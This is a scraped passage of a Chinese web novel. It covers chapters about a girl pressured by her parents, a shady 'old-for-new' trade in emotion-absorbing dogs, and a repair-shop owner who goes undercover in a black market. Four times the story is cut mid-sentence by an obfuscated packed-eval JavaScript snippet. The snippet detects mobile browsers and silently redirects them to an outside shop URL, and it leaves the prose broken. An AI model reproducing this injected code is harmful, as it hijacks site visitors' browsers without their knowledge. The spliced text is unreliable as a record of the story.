为了不让妈妈爸爸失望,张魏媛比起之前起得更早,睡得更晚,每天喝水的量都要掐着计算,在校只上一次厕所,其他时间都投入到学习中。除却必要的交流,她不再和周围的同学聊天,关系好的同学逐渐疏远她,人际关系逐渐冷淡,但她坚信努力就有回报,下一次白昼星统考中她一定能取得更好的成绩。 事实上也是如此,她在本学年第三次统考中取得了白昼星前一百的好成绩,是贫民区学校从未有过的成就,震惊了贫民区所有初级学校。本校的校长和老师对她和颜悦色,学校出面给她颁发证书和奖学金,还有外校出钱邀请她做学习经验分享讲座。 回到家里也不是只有她一人的黑色空间,家里的灯经常是亮着的,妈妈爸爸就算再忙也会赶回家和她一起吃饭,哪怕条件不好只能喝营养液,他们的脸也是暖哄哄的,被黄色的灯光照亮了。 张魏媛喜欢现在的家,贪恋这份来之不易的温暖。 然而这美好的一切都在她生日那天被打破了。 她的成绩一直保持在星球前一百,甚至还在稳步上升。生日那天,妈妈爸爸特地把远在354星的弟弟接来了白昼星,一家团圆,一起为她的十岁生日庆祝。 张魏媛满怀欣喜地奔回家,看到的却不是自己早早和妈妈说好的从外头餐馆预订的红烧肉和水煮牛肉煲,而是她最讨厌的炸鱼汉堡,一旁的弟弟张光宗翘起二郎腿躺在沙发上,手拿炸鸡腿大快朵颐。 她不可置信地问妈妈:“妈妈,我点的菜呢?” 她心底还暗藏一丝希望,也许妈妈两种食物都买了,她想要的菜已经放在厨房里的保温箱了。 “忘了,你弟弟说要吃汉堡,妈妈就买了。你是姐姐,这次弟弟特意过来给你庆祝生日,你应该让让他。”妈妈轻描淡写地揭过她的过失,反过头来开玩笑地对她说,“你不会因为妈妈忘记了就要在心里记我的仇吧。” 姐姐就应该让着弟弟,我是妈妈,你不能指责我,记仇就是没良心。 年少知事的张魏媛听懂了妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026588|194444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈言下的潜台词。 她沉默地拿起汉堡,味同嚼蜡地咽下,缩在沙发角落和弟弟一起看她不爱看的动画片,一旁的妈妈爸爸在喝营养液。 爸爸久久凝视着姐弟两人,张魏媛注意到了他的目光。 “爸爸,你想吃汉堡吗?”不等爸爸回答,她就已经把手上只吃了一口的汉堡递给他。 爸爸拒绝了。 “妈妈和爸爸喝营养液就行了,你和弟弟吃好点,汉堡不便宜,我们家现在的条件只能买两个。爸爸只是在想,你什么时候能请我们吃上汉堡呢?” 张魏媛不知道如何回答,她低头沉默,手指摩挲着泛白的裤子。 “现在提这个干什么,圆圆成绩这么好,以后会让我们全家过上好日子的,说不定还能搬进白昼星的富人区。到时候我就要肯定要和354号星球上那些看不惯我们的人分享我们的幸福生活。”妈妈笑着瞪了爸爸一眼,代替张魏媛做出回答。 “我们俩这辈子最大的幸运就是生下了圆圆这个乖孩子。”爸爸不再需要张魏媛的回答,慈爱地摸了摸她的头,对妈妈说道。 弟弟不愿意了,一个鲤鱼打挺起身,怒视张魏媛:“那我呢?我就不是你们的孩子吗!?” 爸爸一把揽过弟弟的肩膀,说道:“你们俩都是我们的乖小孩,妈妈爸爸最爱你们了。” 张魏媛嘴角硬扯出一抹笑容,好似能和其它三个笑意盈盈的人组成幸福快乐的一家人。 从那天起,她意识到也许妈妈爸爸并没有像他们嘴上说的那样爱她,他们的言语带给她更多的是自省和疼痛,而不是爱。 学年第四次白昼星统考结束后,她莫名其妙地不停流泪,眼睛睁得大大的,泪珠成颗坠落。她却不知道自己为什么会哭。 老师问她是不是最近压力太大,她无法出声,所有话被吞进了肚子里,一个劲地流泪,一边流泪,一边用手抹去泪痕。 “这是荒芜人的痕迹!”老师发现了她手掌上隐隐的黑色痕迹,皱着眉把她扶到教师工位上坐下,张魏媛仍旧流泪,松开眉头拢住她,轻声安慰她,另一只手拨打家长的联系方式。 张魏媛被急急忙忙赶来的母父送到了社区诊所,在得知诊所不接待荒芜病人后又被送到了她从没去过的医院——母父口中的高端场所。 她好像病了。 手臂上长出了丑陋的黑色线条,像枯萎的树枝缠绕在破败的身体上。 医生说这是荒芜人的前兆反应,需要住院三天观察治疗。 妈妈不情不愿地缴纳了住院费,弟弟和爸爸都站得离她的病床远远的,好像荒芜人是种传染病,站得近了他们也会染上这种绝症。 “姐姐,你不会是装的吧?”弟弟撇了撇嘴。 “……我没有。”我没有生病,我没有装病。 他们三人并肩而立,而她无助地躺在病床上,张魏媛和他们的距离隔了一张病床,又好似隔了一道深深的厚壁障。 5. 以旧换新的狗(三) 他们不知道她为什么会出现这种征兆,她也不知道。 出院后,张魏媛仍然坚持她的作息,哪怕生病了她也不想落下功课,成绩下降妈妈爸爸会对她失望的。 然而她一次考得比一次差,在新学年第二次星球统考后彻底跌出了白昼星前一千。 “我是不是给你脸了?!考成这样你让我怎么和家里其他亲戚交代!”爸爸的眼珠泛红,像狰狞的猛兽,“你知不知道我们待在首都星的每秒都是花了大价钱的!” 妈妈语气平和,眼神带着一丝疲惫和厌倦:“圆圆,妈妈爸爸都对你这么好了,你怎么还会发生荒芜现象呢?你是不是太矫情了?其他同学都没有出现荒芜前兆,为什么只有你出现了?” 张魏媛沉默地捏住了衣角,低头盯着脚上破了个洞的袜子和摩擦出毛边的拖鞋。 “好了,知道你是个八竿子打不出个屁的。妈妈爸爸已经帮你去商业区的小狗店看了,那边的小狗都太贵了,我们家又不满足小狗维修办的相亲条件,只能找点别的路子给你买一只小狗。”妈妈说着说着,又开始抱怨起来,“就你事多,要是你弟的话一定不会这样。你就不能忍忍吗?” “老婆,你别说圆圆了,她也不是故意的。”爸爸劝了劝妈妈,“圆圆下次肯定会考好的,我已经知道在哪里买便宜的小狗了。” 张魏媛知道他们说的路子是一楼的阮阿姨。 阮阿姨不住贫民区,家里有几十只小狗,一楼的房子是她特意买下来给小狗住的。她是个心善的人,只要她觉得这个人心地好,哪怕再昂贵的小狗她也会以低价售出,半卖半送给她欣赏的人。 张魏媛和阮阿姨不熟,每天早上出门上学的时候阮阿姨还没到贫民区,放学回家的时候偶尔会碰见。打声招呼后,张魏媛急着跑回家学习,阮阿姨慢悠悠地遛狗。 而现在,因为她得了荒芜病,家里买不起小狗,爸妈让她主动和阮阿姨拉近关系,最好能让她免费送自家一条小狗,“反正她家狗那么多,送我们一只也不会怎么样”。 妈妈打听到了阮阿姨的作息,每天下午四点到贫困区遛狗,四个小时后离开贫困区。 但是张魏媛五点才放学,在学校里学习到六点才愿意收拾东西回家。 “我不管你几点放学,人家遛狗时间和路线都是固定的,你在这条路上等她就行了,实在不行就帮她遛遛狗,只要能拉近关系就行。这一切都是为了你自己,不是为了我们,谁让你自己不争气,得了这个病。” 张魏媛点点头,表面上答应了妈妈的话。 实际上她还是坚持以往的生活作息,在学习这条路上狂奔,荒芜病对她来说太远了,她能抓紧的只有学习这一条路。 她和阮阿姨也依旧保持见面互相打个招呼便离开的客气关系。 直到某天她回家的必经之路上出现了一只小黄狗,脖子上还挂着狗牌,她认出它是阮阿姨家的小狗。 小黄狗看见她也不怕,任凭张魏媛抓住狗绳,查看它的狗牌,一人一狗大眼瞪小眼。 张魏媛想在原地等待阮阿姨,但是天都完全暗了也没有人找来,她只得牵着小黄狗溜回阮阿姨家,敲了敲门,打算着如果阮阿姨已经不在这了,她就把小黄狗带回自己家将就一晚,明天再还给她。 结果门一开,阮阿姨就在门后笑意吟吟地看着她。 “圆圆找阿姨有事吗?” 阮阿姨生得美艳,一头红棕色卷发,眼波潋滟,眉眼弯弯地看着她。张魏媛第一次和她对视,被盯得脸颊通红。 “阮阿姨,你家的小黄狗跑丢了……”张魏媛侧过身子,露出躲在她身后的小黄狗。 阮阿姨美目睁得滴溜圆儿,抱起小黄狗啧啧称奇道:“你运气还真好,能遇到圆圆把你带回来。” 她热情地招呼张魏媛进来坐,张魏媛十指交缠,犹豫着拒绝了:“阮阿姨,我先走了,爸爸还在等我回家吃饭。” 说完,她不顾阮阿姨的再三邀请,着急忙慌地跑回家。 家里黑洞洞的,没有人,她却感到了久违的安心。 虽然这次帮助阮阿姨找回小黄狗只是个巧合,她却无法忘记母父对她的交待和他们贪婪的眼神。归根结底,他们家接近阮阿姨还是为了她的病,她也不是干净的人。 这种带有目的的接近让她在见到阮阿姨时总会心虚,哪怕她从没有刻意接近过阮阿姨。 往后放学回家时她总会遇见阮阿姨,张魏媛回家的方向和阮阿姨遛狗的方向本是背道而驰,不知何时,阮阿姨调转了遛狗的方向,还主动在她放学的路上等她一起走。 她总是同时溜三四条狗,晚霞映衬夕阳,微风拂过她的发丝,带来一阵恬淡的小麦清香和小狗味,和阮阿姨的艳丽外表相去甚远。 两人的关系逐渐亲近,母父见状大喜过望,夸赞她是一个听话的乖小孩,总算学会了一些人情世故,撺掇张魏媛向阮阿姨借机提出低价买狗的想法,如果能免费送一只就更好了。 张魏媛明白自己身上的荒芜病正在逐渐加重,情绪过载的现象也时有发生,每次散步时她都想对阮阿姨坦白自己需要一只狗,却始终开不了口。 在她心里,她和阮阿姨已经是朋友了。 朋友这个词,对于从小到大都把自己埋在书海中的张魏源来说,既新奇又特别,像是白纸第一次绘上彩色。她做不到对第一个朋友提出过分的请求。 阮阿姨先于她开口了,她注意到了张魏媛手背上日益明显的黑色线条,冷着脸质问她:“你为什么不早点跟我说?” 见小女孩一脸惶恐无助,身子也在发颤,她又恢复了往常的和善:“没事的,阮阿姨会带着你一起好起来。” 隔天,她就送来了一只小狗,正是上次张魏媛捡到的那只小黄狗。 “怎么给我们家送了一只小狗,快带回去,小狗很贵的。”爸爸一把抱起小黄狗,嘴上说着拒绝的话,脸上是藏不住的惊喜。 小狗的价格取决于品种、品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026589|194444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相和体内垃圾桶的黑暗情绪存储量,不同小狗能够存储的情绪量也是不同的,好的小狗动辄百万千万,哪怕是黑户狗也从没有低于十万的。 这只小黄狗脚掌宽厚,正处于成年期,活泼温顺,再添点就能买下张家的老房子了。 阮阿姨爽朗一笑:“这只狗年纪大了,容易崩坏,卖不上价格,不如送给圆圆陪她一起玩。” 她挥手招来张魏媛,对她说:“你要好好对它,崩坏了要及时维修,找不到维修的店铺就送还给阿姨,阿姨给你换一只新小狗。但是新小狗也不是免费的,每次以旧换新妈妈都要添上一万星币,所以你一定要珍惜这只小狗,明白了吗?” 张魏媛郑重地点头,蹲下身体,小心翼翼地抚摸着小黄狗,她没想到能再次见到它。 以后,这就是她的小狗了。 小黄狗年纪大了,却比一般小狗都要活泼好动,酷爱拆家,还喜欢咬她的衣服,妈妈黑着脸打它的毛屁股都没用,给家里造成的损失远远大于换新小狗的一万星币,母父二人一致决定出钱换一条新的、乖巧的小狗。 无奈,张魏媛只好找上阮阿姨,提出想要换一只小狗。 “是小狗太调皮了吗?不用不好意思,小黄就是这个性格,已经被退货好多次了,这个小顽皮鬼。”阮阿姨神色了然,把小黄狗抱回屋子里,换了一只杂毛小狗递回张魏媛手上,“这只小狗虽然长得不好看,性格是一顶一的好,不爱叫唤,垃圾桶的存储量也不错,你爸妈肯定喜欢。” “至于你……”阮阿姨宠溺地点了点张魏媛的额头,“是只狗你就喜欢,根本不带挑的。” 杂毛小狗其貌不扬,性格确实温顺,全家都很喜欢它,弟弟更是吵着嚷着想要这只狗,让张魏媛从阮阿姨那再要一只狗。 张魏媛把小狗抱在怀里,沉默着反抗他的话语,好在妈爸分得清孰是孰非,知道小狗是张魏媛活着的药,扯开话题,哄着弟弟说要带他去新开的水族馆。 人不爱说话,狗不爱叫,一人一狗的感情却越来越好。 张魏媛身上的荒芜病症状渐渐减弱,手背上的黑线褪却至胳膊,成绩也越来越好,他们又是幸福快乐的一家人了。 只是杂毛小狗的维修次数越来越多,以至于前两天妈妈说要再换一张小狗时,张魏媛哭着央求她再修一次,两人僵持着,最后妈妈妥协了,让爸爸带着她找到一家同事推荐的小狗维修店,名叫‘修狗’。 充当垃圾桶的‘修狗’店店主风从南用光脑打出一行话与张魏媛沟通:垃圾桶可以开口了吗? 张魏媛破涕为笑,用力地摇头:“不可以。垃圾桶才不会说话呢。” 风从南煞有介事地点了点头:好吧,垃圾桶现在学会打字了。她想问你一个问题,不方便的话可以不回答。 “什么问题?” 阮阿姨叫什么名字? “这个问题可以回答,大家都知道阮阿姨的名字。她叫阮心玉,她喜欢别人叫她的名字。” 6. 以旧换新的狗(四) 送别张魏媛父女二人后,风从南把后门外的音响提回店里,挂上今日休息的招牌,锁好后门,开始复盘这次维修经历。 并不是每一次维修结束她都会复盘,白天维修的小狗需要登记维修者身份与原因,夜晚维修黑户狗不需要登记,大多数黑户狗只是缺少身份id号,器官和身体也正常,很少出现张魏媛这种特殊情况。 张魏媛年纪小,容易轻信别人,所以会告诉风从南自己的身份信息和家庭住址,她并不清除以旧换新的违法性。 “以旧换新”听起来是难得一见的福利,穷人的福音,它在满足人们对小狗需求的同时还能有效利用小狗资源,和虚拟直播间宣传的“把小狗价格打下来”无异,都是最大化平民利益的善举。 实际上,一百年前联邦颁布小狗保护法,上有政策下有对策,想要依靠倒卖小狗发财的人不计其数,想出了各种各样的奇葩话术,本质上都是非法贩卖小狗。 在这一百年间,联邦狗安处抓了太多挂牛头卖狗肉的非法人士,上报给联邦执法局,推动联邦不断完善小狗保护法有所欠缺的法律细节和法律条款。 非法组织一般扎根于房价低、鱼龙混杂的贫困区,目标群体就是买不起狗却需要狗的低收入人群,以旧换新就是一种倒卖小狗的新套路,卖的还是黑户狗,只是提供了以旧换新的后续服务。 张魏媛的经历中,阮心玉是那个把她全家引进这个圈套中的人,狗贩子的特征她占了个遍。但是她给张魏媛开的价格确实是友情价,据风从南所知,虽然黑户狗没有合法的身份id,但普遍价格也不会低于五万星币,而这个新套路图什么呢? 风从南的手指敲击桌面,低头思考。 理论上来说,光脑以旧换新图的都是便宜,顾客觉得自己以较低购买的成本买到了更好的商品,商家可以优化库存,二次利用旧商品,榨干剩余价值。 按照张魏媛的描述,顾客先从狗贩子那里购入第一只狗,用不惯或者不想找维修师就售出旧狗,补齐差价获得一只新的黑暗情绪存储量较低的小狗,这就是他们所指的‘新’。 回收小狗经过维修只是回光返照,没办法恢复到最佳状态,这样的小狗只能用于后续的不断交换,无法充作第一次售出的全新狗,整个商品循环中只有第一环欠缺,也就是这个组织的全新小狗来源。可繁育小狗被联邦狗安处严格管控,一般人无法接触。 这些地下组织如果有能力打通狗安处的路子,完全不用做黑户狗生意,管理利益更大的其他灰色地带绰绰有余。那就暂时否定他们拥有可繁育小狗的可能性。 没有成本的全新小狗除了以最低成本繁育小狗,无非就是偷别人家的狗和捕捉流动小狗。 这两种方式都是无本生意,赚得再少也是赚,他们只需要不断补充小狗,收回旧狗维修,就能源源不断地赚钱。 这无疑是一条利润巨大的产业链。 风从南表情凝重,她不清楚这个地下组织的利益网铺了多大,是刚刚起步还是已经覆盖了整个贫困区。最好是前者,后者就不是她能涉及的程度了。 纵观张魏媛的经历,阮心玉是串联起整条产业链的一条线,至于是主线还是支线仍然未知,但她在这个组织里必定扮演着有一定分量的角色,至少是个小头目,特地买房养几十只狗,每只狗产生的利益按照五万计算,她的一个据点就拥有高达百万的交易。 这些地下组织手握热武器,内部有所争斗,却将外围焊得死死的,单单让风从南接近都有些困难。 万不得已时,她只能重操旧业,联系狗安处的老同事来帮忙一起处理。 没错,风从南虽然开了一家灰店,正当经营的背后也接些不可告人的私活,但她曾经是联邦安全保卫处小狗分部的一员,简称狗安处,算得上半个官方成员。 她有空也会和以前的同事出去逛逛狗咖,增进感情。 大三时,她在第104次小狗维修师联邦赛夺得联邦冠军后,狗安处对她抛出了诱人的橄榄枝,父母也在劝说她找一个相对稳定的好工作,于是她和狗安处谈好了先干一年兼职,做个编外成员,毕业再谈转正的事。 风从南在狗安处度过了愉快的一年,同事关系和睦,上司亲切友善,福利待遇良好,后勤的小狗随便摸,奈何这一切在谈转正时崩盘了,狗安处的工资属实太低。 白昼星平均工资大约两万一月,转正后狗安处工资仅仅只有一万五千星币,还是税前。根本无法支撑一个没房没车的外星人风从南在本地扎根,怪不得同事个个身穿大牌,花钱如流水,原来都是富二代来水日子的。 不是富二代的风从南在狗安处格格不入。 好在她本职工作也没放弃,跟随导师深造学习,她的小狗维修技术越来越好,在星网上挂的维修单外快几乎秒空,闯出了一点名气,还有许多人加价找她维修,维修档期爆满。 于是风从南咬咬牙,全贷拿下了一家修狗店,依靠老客户和老带新,收入也还算丰厚,每个月能有六万星币收入,比起狗安处开的一万五千星币好太多了。她都不敢想要是当初选择了狗安处,现在日子过得有多紧巴,节衣缩食都不够了,得卖血维生。 风从南庆幸地叹了一口气,幸好自己没有被爱与和平蒙蔽了双眼,诚实地选择了钱途。 她细细回想在狗安处接触过的违法者姓名,其中没有阮心玉的名字。她曾经参与过的侦察案例也并没有类似于以旧换新这一类的作案名头。 她点开虚拟屏幕,对照张魏媛给出的住址寻找阮心玉所在的位置,贫困区44号大街67号一楼。 印象里,44号大街不受非法组织青睐,狗贩子据点大多位于21号大街,那里才是联邦有名的黑色地带,白昼星的三不管地区,贩卖人口、色情交易、器官交易的笔笔皆是,狗贩子在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026590|194444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 21号大街只是个不起眼的喽喽。 得益于在狗安处的兼职,风从南对这些地下组织的接头方式略有了解。他们不在明面上活动,通常会在每条大街设置隐秘的公告栏,一块小小的立牌,上面刻有特殊的符号文字,是地下组织专用的接头语言,一般写有黑市交易的场所和时间。公告栏上的内容三日一换。 风从南能想到和阮心玉合理的接触方式,就是找出44号大街隐藏的公告栏,在黑市里找到这个红发女人。 至于要不要做旁观者,攀附在这条罪恶的利益链上分食一部分血肉,风从南从没想过这个选项。 大学时加入狗安处最关键的原因就是她喜欢狗,并且想要保护小狗,哪怕这些狗不喜欢她。 她不需要近距离接触小狗,哪怕远远看着小狗睡觉都觉得幸福。 风从南始终如一地喜爱小狗。 追查以旧换新的狗背后的产业链和组织是她个人自发的行为,哪怕遇上危险也是她的选择,她不会后悔,更不会做旁观者,放纵眼前的罪恶行径。实在不行就求助狗安处,交代清楚原因,闭店整改七天,七天后又是小狗维修界一颗冉冉升起的新星。 再说了,她发现这条产业链并上报给狗安处,没有功劳也有苦劳,好同事们再暗箱操作一下,最后的处罚说不定只是给她挠了个痒痒。 当然,不找狗安处,自己解决是最好的结果,她还放不下自己的黑户狗维修生意,蚊子再小也是肉。 ----------------- 翌日,风从南结束了白天的工作,乔装打扮后早早关闭店门,打了辆自动行驶车,设定目的地为贫困区44号大街。 夜晚才是黑市开始交易的时间。 44号大街与风从南所在的平民区不同,街上没几个行人,偶有驾驶机车的飞车党飞驰而过,留下一串轰隆鸣声,炸得耳朵发疼。 她将整条大街逛遍,才在一个阴暗的巷子里找到插在垃圾桶里的黑市公告栏,上面刻意涂抹着灰土,伪装成废弃垃圾。 风从南擦拭过公告栏上的灰尘,按照上面所写的地址找到了一家药店。 药店店员看上去是个普通人,把他扔进人群里就不找出来的程度,见风从南进入药店,他咧开一抹微笑,礼貌地问道:“请问您需要什么药品。” “给我来一杯提拉米苏,不加糖,微辣。”风从南下压帽檐,报出公告栏上写的暗号,从星脑账户刷了一千星币给店员。 店员拿出一张黑色金属面具递给风从南:“好的,客官里边请。” 他带着风从南走过员工通道,拐进了公用厕所,掏出一张卡片搭在门锁上。 喀哒。 厕所门自动推开,露出里面的真实样子。 这是一部没有按钮的电梯。 “一人一梯,电梯启动后自动抵达地下黑市。黑市欢迎您的大驾光临。” 7. 以旧换新的狗(五) 耳边是鼓噪的音乐,沉闷有力,敲击在心脏上压得人喘不过气。 黑市里的人不少,为不暴露身份,每个人都戴着官方分发的黑色面具,说出口的声音是冰冷的机械音。街道两侧是专门设置的店铺区,中央是流动商户摆摊区。 黑市主办方的工作人员戴着金色面具,两人一组,在街道上往返巡视,维持黑市秩序。 出门在外,面子是自己给的。风从南专门给自己捏了一个新人设,年少不知小狗好,老了变成小狗脑,追狗火葬场热演中,寻找年少白月光狗替身的有钱老奶。 不知道合不合阮心玉口味,反正她是挺满意这个人设的。 她微微佝偻着背,模仿老人的行走姿势,一步步慢慢挪动,边走便寻找阮心玉的身影。两侧店铺都是黑市常驻店铺,有专人管理,看起来和商业区的店铺差不多,散发着金钱的光芒。 越靠近中央流动摆摊区越吵闹,这里也是黑市人群聚集的地方,卖什么全凭卖家说了算,东西五花八门,价格低廉还能砍价,偶尔会出一些便宜的稀罕货,大家都抱着捡漏心态想来这里搏一搏。 “你这价格也太便宜了吧?别瞅人家年纪大不懂黑市的物价,就往死里坑人家!” “就是,我们做黑市生意也是要讲良心的,绝不捞老人小孩的钱!” “都叫黑市了还要这么多脸皮干嘛,她愿意卖我愿意买,你们这么多事干什么!” “就是,平时一个算得比一个精明,现在摆出一副好心给谁看?” “土大款就别装了,知道你腰包里没几个子还要学别人捡漏高级货!真以为谁都看不出来这东西要多少钱呢!” 风从南远远就听见了中央流动区传来的争吵声,一开始只是几个人,后来愈演愈烈,边上的摊主和买家都凑了上去,就连黑市的巡逻人员也想来凑热闹。 风从南本不想凑这个热闹,一晃眼在人群中看到了一个熟悉的背影,便依靠自己娇小的身材和其他人不敢轻易冒犯的年纪挤进了人群最前端。 争吵的核心赫然是一个老人和面戴黑色面具的红发女人,以及一个大腹便便的胖男人。 胖男人双手叉腰,肚子使劲凸了出来:“你管那么多做什么,她愿意卖她的眼角膜,你来插一脚干嘛!” “不为什么,就是看你不爽,想和你吵一架。”红发女人掏了掏耳朵,作挑衅状,“路过死猪脚痒痒的,想踹一脚很正常吧。” “你竟敢说我是死猪?!”胖男人面部涨红,裸露在外的皮肤都被气红了。 “哟哟哟,别生气,你瞧你,一生气就变成被开水烫过的死猪了。” 老人坐在摊位上,手挥来挥去,一会儿想要拦住胖男人,一会儿又想拦住红发女人。 风从南在一旁看了会儿,瞧着挺有趣,她不确定这个红发女人是否就是张魏媛所说的阮心玉,但她确实对她胃口。她清了清嗓子,压低声线,发出沙哑低沉的声音:“都别吵了,我年纪大,先来说句母道话。” “摊主想卖眼角膜,死猪想压价,小女孩看不惯想要帮老人卖个正常价格。虽然在黑市,但她依然坚持尊老爱幼的原则,是个好女孩!老人想要卖质量上乘的眼角膜,还标了个低价,老人好!死猪没钱又想买东西,还压价,死猪坏!” “青天大姥姥!”红发女人和风从南简直一见如故,恨不得上来给她一个熊抱。 “你个老虔婆在这瞎说什么呢!”胖男人翘起面具一角,往地上喷了口口水,“你知不知道我是谁!” 面戴金色面具的巡逻人员这下不看热闹了,其中一人抓住胖男人的手臂,冷冷道:“黑市不允许随地吐痰。” “欸,爷,我第一次来不清楚,这就给您擦了。”胖男人声线一转,变得谄媚,谄媚的机械音让风从南的鸡皮疙瘩起了一身。 他拿出随身携带的手帕擦干净地上的口水,不嫌尴尬地转了过来:“看什么,说好的五万星币就五万星币,真以为我付不起是吧。” “……是六万六千六百六十六星币。”老人弱弱地反驳他。 “自己给自己砍价,你是这个。”红发女人对着胖男人比了个向上的大拇指。 “行了,又不是不给你,星币转你光脑账户上了。”胖男人挠了挠屁股,和老人在光脑上约定好线下交易时间、地点便离开了,聚集看戏的人群见热闹没了,作鸟兽状散了。 刚刚还被众人围观的摊位瞬间只剩下风从南、红发女人和卖眼角膜的老人。 老人颤颤巍巍地从帆布袋里掏出两块老式糕点,分别递给风从南和红发女人:“这钱我有急用,没办法分给你们,这糕点就收下吧,我儿子专门给我带的高级货。” 风从南嘴馋,白昼星上的甜品店她都去过。她伸手接过糕点,发现这并不是老人口中的高级货,而是假冒成天然糕点的人造肉糜糕。 显然,老人的儿子欺骗了她。 风从南状似无意地开口问道:“老姐妹,你儿子都有钱买这高级货,你还来卖什么眼角膜?” “嗐,这糕点也是我儿子老板送他的,就三块,一块他自己留着,两块留给我。确实是个孝顺孩子,就是没有女孩看得上他,他最近都有些荒芜病前兆了。我就想着,反正我也活不长了,不如卖个眼角膜给他当彩礼。” 红发女人沉不住气,率先开口道:“他自己不会赚钱吗?!六万多也就三个月工资,攒半年就能存下来了。而且你这钱也不够当彩礼的,白昼星女孩都看不上。” “他生活也很困难,工资就那么点,存着也费力,都怪我年轻的时候没赚大钱,没让他过上好日子。现在回到家里就躺床上,天天嚷着原生家庭的苦,还说自己不娶老婆人生都不完整了。” 老人收拾着东西,摇了摇头:“我也不知道他为什么一定要执着娶个老婆,但他天天郁郁寡欢,我也不能眼睁睁看着他变成荒芜人。” 她拿起帆布包,迈着小脚离开了黑市,留下风从南和红发女人相顾无言,两张黑色面具面面相觑,有些滑稽。 良久,风从南试探着开口: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026591|194444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小姑娘,我先走了,我还要找一家店买东西。” “你要买什么?我对黑市熟悉,说不定能帮帮你。”失去争吵的衔接,两人有些拘谨,说话都有店放不开。 风从南自然只是假意离开,她没有忘记自己来黑市的目的,眼前这个红发女人很可能就是她在寻找的阮心玉。 她犹豫着开口:“我的要求可能比较多……” 红发女人大手一挥,爽朗地笑了起来:“没关系,我就喜欢要求多的,有挑战性。” “年少的时候,我遇见了一只相依为命的白月光狗,但那时的我太年轻了,还不懂得珍惜它。它会抱着我的腿嘤嘤嘤地撒娇,冷酷的外表只对我柔软。那时候的我还没现在这么有钱,觉得自己养不好它,天天赶它走,但我是爱它的。”风从南眼帘下垂,神色忧伤。 “它是一只推也推不走的狗,是我心里最好的小狗。但是它中度崩坏以后,我没有及时察觉,它永远地离开了我。” “所以你现在想要寻找它的后代?这确实有点难度……”红发女人低头沉思。 风从南猛地抬头,铿锵有力地说道:“不,我要找一只和它一模一样的替身狗!” 红发女人了然地点点头:“它长什么样?有什么特征?” “三花皮毛,具体的颜色分布我可以给你发一张图,头顶有一撮蓝毛,它是八个品种的混血狗。”风从南说出来的话自己都想笑,幸好戴着面具,否则对方肯定能察觉到不对劲,“替身狗最好能满足我给出的这些基础要求。” “……基础要求?你还有进阶版本的要求?” “我愿意出大价钱购买替身狗,就是为了目睹年少白月光狗的一抹倩影,替身狗脚掌要在5.5cm宽左右,体重四十公斤以上,头围70,腰围120,臀围112,差不多就这些了。对了,这只狗最好不要经常笑,笑了就不像它了。” 红发女人诡异地沉默了,她也是第一次见到这么抽象的老奶,关键是她看着还怪有钱的,在刚刚的争吵中也帮了自己,说话挺对自己胃口的。 “行了,小姑娘,你不用纠结,奶奶也不是故意为难你。只是我真的很想找到一比一复刻白月光狗的替身狗,我再去找找有没有专门的定制小狗店。”风从南见她沉默许久不知道怎么回答,大发慈悲地为她解围了,“我已经找了好几个黑市了,没见到几个能满足我要求的小狗售卖店。” 她转身缓缓离开,给红发女人留下了一道潇洒的背影。 钓鱼执法不过如此。 果不其然,鱼儿上钩了,红发女人迈步追了上来:“奶,你等等我,我们加一个星网联系方式,我说不定能帮你找到你要的店。” 有钱老奶风从南故作惊讶地转头:“小姑娘,你还有这种路子?” “不是我,是我有个朋友有路子,我去问问她能不能帮你定制一只替身小狗,但是价格上可能就……” “奶有的是钱,不用担心,尽管帮我去问问她。只要能满足我的要求,多少钱都行。” 8. 以旧换新的狗(六) 两人找了个隐秘的地方商量事情。风从南加上了红发女人的联系方式,两人再次面对面确认了一遍。 “AAA有钱老奶不缺狗是您的星网id吗?”红发女人一字一顿地报出了风从南的冲浪id号。 风从南从容一笑,皮下的风从南和皮上的有钱老奶能有什么关系,她也一字一顿念出了红发女人的星网id号:“小姑娘,你就是小阮硬邦邦吗?奶奶年纪大了,看不清这些字,你能再帮奶奶确认一遍吗?” 